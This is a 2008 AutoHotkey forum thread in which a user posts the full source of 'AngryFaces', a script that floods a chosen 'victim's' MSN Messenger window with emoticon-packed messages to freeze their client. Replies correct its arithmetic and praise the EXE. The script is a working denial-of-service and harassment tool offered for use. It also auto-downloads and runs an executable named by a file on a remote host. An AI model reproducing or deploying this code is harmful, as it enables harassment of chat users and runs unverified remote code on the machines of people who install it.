 |
AutoHotkey Community
Let's help each other out
|
| View previous topic :: View next topic |
| Author |
Message |
iTayb_
Guest
|
 Posted: Mon Jun 16, 2008 7:01 pm Post subject: AngryFaces v0.52 - Freeze other's Messanger processes |
 |
|
First, I'd like to mark that I have been learning English for four years, so I may have grammar and spelling mistakes.
Two years ago, I thought of something in MSN Messanger that let me to freeze my friend's Messanger process.
Everyone knows that a message full of emotions would take a while to load, while CPU is busy.
When you turn emotions off, you can send a great amount of emotions that won't affect you, but affects your friends (in case they have emotions turned on, which will be most cases).
This, of course, can be made automatically, and here's where my script goes into the picture.
The emotion that takes most CPU power to load is :@ - Angry. That's why I called this script "AngryFaces". 100 AngryFaces messages will be sent in a row, with 200 AngryFaces in each message, sums up to 200,000 AngryFaces.
Please make sure Messanger Live is running, and emotions are NOT shown.
| Code: | ; AngryFaces© Version: 0.52 16062008
; Language: English
; Platform: WinXP/Vista
; Author: iTayb/^pb^/Akari <akari.il@gmail.com>
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
Process, Priority, , Realtime ; Sets the process's priority to Realtime level.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory.
version = 0.52
Download(url, save, msg = 0x1100, sleep = 250) { ; Download function
total := HttpQueryInfo(url, 5)
SetTimer, _dlprocess, %sleep%
UrlDownloadToFile, %url%, %save%
SetTimer, _dlprocess, Off
Return, ErrorLevel
_dlprocess:
FileGetSize, current, %save%, K
Process, Exist
PostMessage, msg, current * 1024, total, , ahk_pid %ErrorLevel%
Exit
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Upgrade ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
url = http://israblog.110mb.com/upgrade/AngryFaces.txt ; AngryFaces.txt HTTP location
save = %A_ScriptDir%\AngryFaces.txt ; Save AngryFaces.txt in Script directory
FileDelete, %save% ; Remove the old AngryFaces file, if exist.
message = 0x1100
OnMessage(message, "SetCounter")
Download(url, save, message, 50) ; Downloads the last version information.
FileReadLine, newest, %A_ScriptDir%\AngryFaces.txt, 1 ; Sets newest version number as %newest%.
FileReadLine, url, %A_ScriptDir%\AngryFaces.txt, 2 ; Sets download URL as %url%.
FileReadLine, save, %A_ScriptDir%\AngryFaces.txt, 3 ; Sets save path as %save%.
save = %A_ScriptDir%\%save%
if (newest > version) ; if there is a newer version online
{
IfNotInString, save, AngryFaces ; If server's down - skips the upgrade process.
{
FileDelete, %A_ScriptDir%\AngryFaces.txt ; Deletes the last version information, we don't need it anymore.
Goto, Magic ; Skips the upgrade process - goes to the magic itself (:
}
FileDelete, %save% ; Deletes the %save% file, if exists.
FileDelete, %A_ScriptDir%\AngryFaces.txt ; Deletes the last version information, we don't need it anymore.
message = 0x1100
Gui, Add, Progress, Section vProgressBar w500 -Smooth
Gui, Font, bold
Gui, Add, Text, vProgressN ys, ..........
Gui, Add, Text, xm Section, v%version% --> v%newest%. URL:
Gui, Font
Gui, Add, Text, ys, %url%
Gui, Add, Text, vKB ys w200
Gui, Show, , Upgrading...
OnMessage(message, "SetCounter2")
Download(url, save, message, 50)
GuiControl, , ProgressBar, 100
GuiControl, , ProgressN, 100`%
GuiControl, , KB
MsgBox, 64,, Successfully upgraded from v%version% to v%newest%.`nAngryFaces© will restart itself.
run, %save% ; Runs newest version.
ExitApp ; kills itself
SetCounter2(wParam, lParam) {
progress := Round(wParam / lParam * 100)
GuiControl, , ProgressBar, %progress%
GuiControl, , ProgressN, %progress%`%
wParam := wParam // 1024
lParam := lParam // 1024
GuiControl, , KB, (%wParam%kb of %lParam%kb)
Gui, Show, , %progress%`% - Upgrading...
}
}
else ; if using newest version
{
FileDelete, %A_ScriptDir%\AngryFaces.txt ; Deletes the last version information, we don't need it anymore.
}
SetCounter(wParam, lParam) {
global url
progress := Round(wParam / lParam * 100)
wParam := wParam // 1024
lParam := lParam // 1024
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Program's vars ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Magic:
Title = AngryFaces© v%version%
ReleaseDate = 16/06/2008
AngryFaces =
Loop, 199
AngryFaces .= ":@"; Sets in %AngryFaces% 199 angry smilles (398 chars, which is MSN Messanger Live limit per message minus two chars, which are saved for ClipBoard trash).
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GUI ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Gui +AlwaysOnTop ; Always on top
Gui, Color, White
Gui, Add, Picture, x0 y0 h350 w450, %A_WinDir%\system32\ntimage.gif
Gui, Add, Text,BackgroundTrans xp+20 yp+20, AngryFaces© messages are used to freeze your friends's Messanger Live process, by`nsending multiple AngryFaces©, action that forces the victim to restart Messanger Live.`n`n100 AngryFaces© messages will be sent in a row, with 200 AngryFaces©`nin each message, sums up to 200,000 AngryFaces©.`nPlease make sure Messanger Live is running, and emotions are NOT shown.
Gui, Add, Text,BackgroundTrans, Please navigate to the victim's messanger window, and make sure the text area is`non focus. Once you're ready, click the "Flood" button below.
Gui, Add, Button, BackgroundTrans , Flood!
Gui, Add, Progress, vMyProgress w416
Gui, Add, Text, BackgroundTrans vMyText wp ; wp means "use width of previous".
Gui, Add, Progress, vMyProgress2 w416
Gui, Add, Text, BackgroundTrans vMyText2 wp ; wp means "use width of previous".
Gui, Add, Text, BackgroundTrans, %Title% was written by Itay Brandes (iTayb/Akari/^pb^) (akari.il@gmail.com)`nAll rights reserved 2006-%A_YYYY% © Released on %ReleaseDate%.
Gui, Show, AutoSize, %Title%`; Believe in yourself!
return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Flood! Button ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ButtonFlood!:
delayprogress = 0
delaytext = 5
GuiControl, Disable, Flood ; Disable Flood Button.
GuiControl,, MyProgress2, 0
GuiControl,, MyText2, You wanna be my friend?
Loop, 50 ;Waits 5 seconds before flooding. Shows the timer progress in vMyProgress.
{
GuiControl,, MyProgress, %delayprogress%
GuiControl,, MyText, %delaytext% Seconds left.
delayprogress += 2
delaytext += -0.1
delaytext := Round(delaytext, 1)
Sleep, 100
}
GuiControl,, MyText, Flooding... Please wait patiently~ :)
progress = 1
StringReplace, Title, Title, ., {CAPSLOCK}.{CAPSLOCK}, All ; Replaces "." --> "{CAPSLOCK}.{CAPSLOCK}".
Send, %Title% is written by Itay Brandes (iTayb/Akari/{SHIFTDOWN}6{SHIFTUP}pb{SHIFTDOWN}6{SHIFTUP}){CAPSLOCK}.{CAPSLOCK} E-Mail: akari{CAPSLOCK}.{CAPSLOCK}il@gmail{CAPSLOCK}.{CAPSLOCK}com{ENTER}All rights reserved 2006-%A_YYYY% ©{CAPSLOCK}.{CAPSLOCK}
Send, Released on %ReleaseDate%{CAPSLOCK}.{CAPSLOCK}{ENTER}
ClipSaved := ClipboardAll ; Saves the entire clipboard to %ClipSaved%.
Clipboard = %AngryFaces% ; Clips the %AngryFaces% into the clipboard.
ClipWait ; Waits for the clip to finish it's work.
Sleep, 300
Loop, 100 ; The magic! ^.^
{
GuiControl,, MyProgress2, %progress%
GuiControl,, MyText2, %progress%/100
progress += 1
Send, ^V^ה{Enter} ; Works with both English and Hebrew language input.
Sleep, 100
}
GuiControl,, MyText, Done successfully.
GuiControl, Enable, Flood ; Enables Flood Button.
SoundBeep,1000,50 ; beep
SoundBeep,1050,100 ; beep
Sleep, 3000 ; Waits for possible delays in the flooding process, due to a weak machine performance.
Clipboard := ClipSaved ; Restores the original clipboard.
ClipWait ; Waits for the clip to finish it's work.
return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Close Gui ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GuiClose:
Clipboard := ClipSaved ; Restores the original clipboard.
ClipWait ; Waits for the clip to finish it's work.
SoundBeep,1050,50 ; beep
SoundBeep,1000,100 ; beep
ExitApp
; We're done ^^. |
You can grab the EXE as well from here.
The upgrade step is based on Kerry's Download Progress Bar.
Also, HttpQueryInfo is used, which can be found here .
If you face some weird steps in my script, feel free to ask. It's most likely steps to allow using it with non-roman input languages (as Hebrew and Arabic).
I'd like to hear your opinion 
[Moderator's note: edited code to not be ultra wide. Uses loop to build AngryFaces variable] |
|
| Back to top |
|
 |
Guest
|
| Posted: Sat Jun 21, 2008 11:49 am Post subject: |
|
|
| No one likes it? |
|
| Back to top |
|
|
No one
Guest
|
| Posted: Sat Jun 21, 2008 12:04 pm Post subject: |
|
|
| No. |
|
| Back to top |
|
|
Rhys
Joined: 17 Apr 2007
Posts: 710
Location: Florida
|
|
| Back to top |
|
|
ahklerner
Joined: 26 Jun 2006
Posts: 1202
Location: USA
|
| Posted: Sun Jun 22, 2008 1:59 am Post subject: |
|
|
100 * 200 = 20,000
not 200,000
_________________
 |
|
| Back to top |
|
|
Guest
|
| Posted: Wed Jul 02, 2008 9:43 pm Post subject: i like this |
|
|
nice prog. 
no need to decompile, as the code is readily available at the original poster's message. you can just delete the upgrade routine.
i like the effort put into this more than the end result, as this is actually a little devil that i would rather have chained. 
[ Moderator!: guest nick idiot edited out ] |
|
| Back to top |
|
|
Guest
|
| Posted: Thu Jul 03, 2008 1:41 pm Post subject: |
|
|
this is great!
working and awesome
EXE is working fine!
however is seems to upgrade to v0.53, maybe the programmer had done some improvements.
i like it! thanks! |
|
| Back to top |
|
|
|
|
You can post new topics in this forum
You can reply to topics in this forum
|
Powered by phpBB © 2001, 2005 phpBB Group
|
FAQ
Search
Memberlist
Register
Profile
Log in to check your private messages
Log in
